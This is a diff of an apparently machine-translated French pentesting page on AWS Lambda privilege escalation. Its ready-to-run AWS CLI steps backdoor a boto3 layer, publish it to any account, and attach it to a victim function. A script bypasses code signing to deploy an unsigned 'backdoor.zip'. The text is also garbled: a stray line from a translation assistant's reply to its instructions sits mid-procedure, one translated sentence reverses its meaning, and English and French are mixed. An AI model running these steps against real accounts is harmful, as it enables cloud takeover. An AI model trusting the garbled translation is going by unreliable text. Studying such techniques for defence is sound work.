+Il est possible d'abuser de la permission `lambda:UpdateFunctionConfiguration` pour **ajouter un nouveau layer** à une fonction lambda. Pour exécuter du code arbitraire, ce layer doit contenir une **bibliothèque que la fonction lambda va importer.** Si vous pouvez lire le code de la fonction lambda, vous pouvez le trouver facilement. Notez aussi qu'il est possible que la fonction lambda **utilise déjà un layer** et que vous puissiez **télécharger** le layer et **ajouter votre code** dedans.
-Par exemple, supposons que la lambda utilise la bibliothèque boto3, cela créera une couche locale avec la dernière version de la bibliothèque :
+Par exemple, supposons que la fonction lambda utilise la bibliothèque boto3 : cela créera un layer local avec la dernière version de la bibliothèque :
```bash
pip3 install -t ./lambda_layer boto3
```
-Vous pouvez ouvrir `./lambda_layer/boto3/__init__.py` et **ajouter la porte dérobée dans le code global** (une fonction pour exfiltrer des identifiants ou obtenir un shell inversé par exemple).
+Vous pouvez ouvrir `./lambda_layer/boto3/__init__.py` et **ajouter la backdoor dans le code global** (une fonction pour exfiltrate credentials ou obtenir un reverse shell par exemple).
-Ensuite, zippez ce répertoire `./lambda_layer` et **téléchargez le nouveau layer lambda** dans votre propre compte (ou dans celui des victimes, mais vous n'aurez peut-être pas les autorisations pour cela).\
-Notez que vous devez créer un dossier python et y mettre les bibliothèques pour remplacer /opt/python/boto3. De plus, le layer doit être **compatible avec la version de python** utilisée par la lambda et si vous le téléchargez dans votre compte, il doit être dans la **même région :**
+Ensuite, zippez le répertoire `./lambda_layer` et **téléversez le nouveau lambda layer** dans votre propre compte (ou dans celui de la victime, mais vous pourriez ne pas avoir les permissions pour cela).\
+Notez que vous devez créer un dossier python et y placer les bibliothèques pour écraser /opt/python/boto3. De plus, le layer doit être **compatible avec la version de python** utilisée par la lambda et, si vous le téléversez dans votre compte, il doit être dans la **même région :**
```bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
```
-Maintenant, rendez la couche lambda **accessible par n'importe quel compte** :
+Maintenant, rendez le lambda layer téléchargé **accessible par n'importe quel compte** :
```bash
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
```
-Et attachez la couche lambda à la fonction lambda de la victime :
+Et attachez le lambda layer à la fonction lambda victime :
```bash
aws lambda update-function-configuration \
--function-name \
--layers arn:aws:lambda:::layer:boto3:1 \
--timeout 300 #5min for rev shells
```
-L'étape suivante consisterait soit à **invoquer la fonction** nous-mêmes si nous le pouvons, soit à attendre qu'elle **soit invoquée** par des moyens normaux, ce qui est la méthode la plus sûre.
+La prochaine étape serait soit d'**invoquer la fonction** nous-mêmes si possible, soit d'attendre qu'**elle soit invoquée** par des moyens normaux — ce qui est la méthode la plus sûre.
-Une **manière plus discrète d'exploiter cette vulnérabilité** peut être trouvée dans :
+Une **méthode plus discrète pour exploiter cette vulnérabilité** se trouve dans :
{{#ref}}
../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
{{#endref}}
-**Impact potentiel :** Privesc direct au rôle de service lambda utilisé.
+**Impact potentiel :** Privesc direct sur le rôle de service lambda utilisé.
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
-Peut-être qu'avec ces permissions, vous êtes capable de créer une fonction et de l'exécuter en appelant l'URL... mais je n'ai pas trouvé de moyen de le tester, donc faites-le moi savoir si vous le faites !
+Peut-être qu'avec ces permissions vous pouvez créer une fonction et l'exécuter en appelant l'URL... mais je pourrais trouver un moyen de le tester, donc dites-moi si vous le faites !
### Lambda MitM
-Certaines lambdas vont **recevoir des informations sensibles des utilisateurs dans les paramètres.** Si vous obtenez RCE dans l'une d'elles, vous pouvez exfiltrer les informations que d'autres utilisateurs lui envoient, vérifiez-le dans :
+Certaines lambdas vont **recevoir des informations sensibles des utilisateurs dans les paramètres.** Si vous obtenez RCE dans l'une d'elles, vous pouvez exfiltrate les informations que d'autres utilisateurs lui envoient, consultez-le dans :
{{#ref}}
../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
@@ -256,3 +256,62 @@ Certaines lambdas vont **recevoir des informations sensibles des utilisateurs da
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
{{#include ../../../banners/hacktricks-training.md}}
+
+
+
+
+### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing
+
+If a Lambda function enforces code signing, an attacker who can either remove the Code Signing Config (CSC) or downgrade it to Warn can deploy unsigned code to the function. This bypasses integrity protections without modifying the function's IAM role or triggers.
+
+Permissions (one of):
+- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
+- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
+
+Notes:
+- For Path B, you don't need an AWS Signer profile if the CSC policy is set to `WARN` (unsigned artifacts allowed).
+
+Steps (REGION=us-east-1, TARGET_FN=):
+
+Prepare a small payload:
+```bash
+cat > handler.py <<'PY'
+import os, json
+def lambda_handler(event, context):
+return {"pwn": True, "env": list(os.environ)[:6]}
+PY
+zip backdoor.zip handler.py
+```
+Chemin A) Supprimer CSC puis mettre à jour le code :
+```bash
+aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
+if [ "$HAS_CSC" -eq 1 ]; then
+aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
+fi
+aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
+# If the handler name changed, also run:
+aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
+```
+Voie B) Rétrograder en Warn et mettre à jour le code (si delete n'est pas autorisé) :
+```bash
+CSC_ARN=$(aws lambda create-code-signing-config \
+--description ht-warn-csc \
+--code-signing-policies UntrustedArtifactOnDeployment=WARN \
+--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
+aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
+aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
+# If the handler name changed, also run:
+aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
+```
+Vérifié — je suivrai les consignes : traduire le texte anglais pertinent en français en conservant exactement la même syntaxe markdown/HTML, ne pas traduire le code, les noms de techniques, les mots comme leak, pentesting, les noms de plateformes cloud (aws, gcp...), ni les liens, chemins, tags, refs, et ne pas ajouter de contenu supplémentaire. Envoyez le contenu à traduire.
+```bash
+aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
+cat /tmp/out.json
+```
+Impact potentiel : Possibilité de pousser et d'exécuter du code arbitraire non signé dans une fonction qui était censée imposer des déploiements signés, pouvant potentiellement conduire à l'exécution de code avec les autorisations du rôle de la fonction.
+
+Nettoyage :
+```bash
+aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
+```
+
.png)
.png)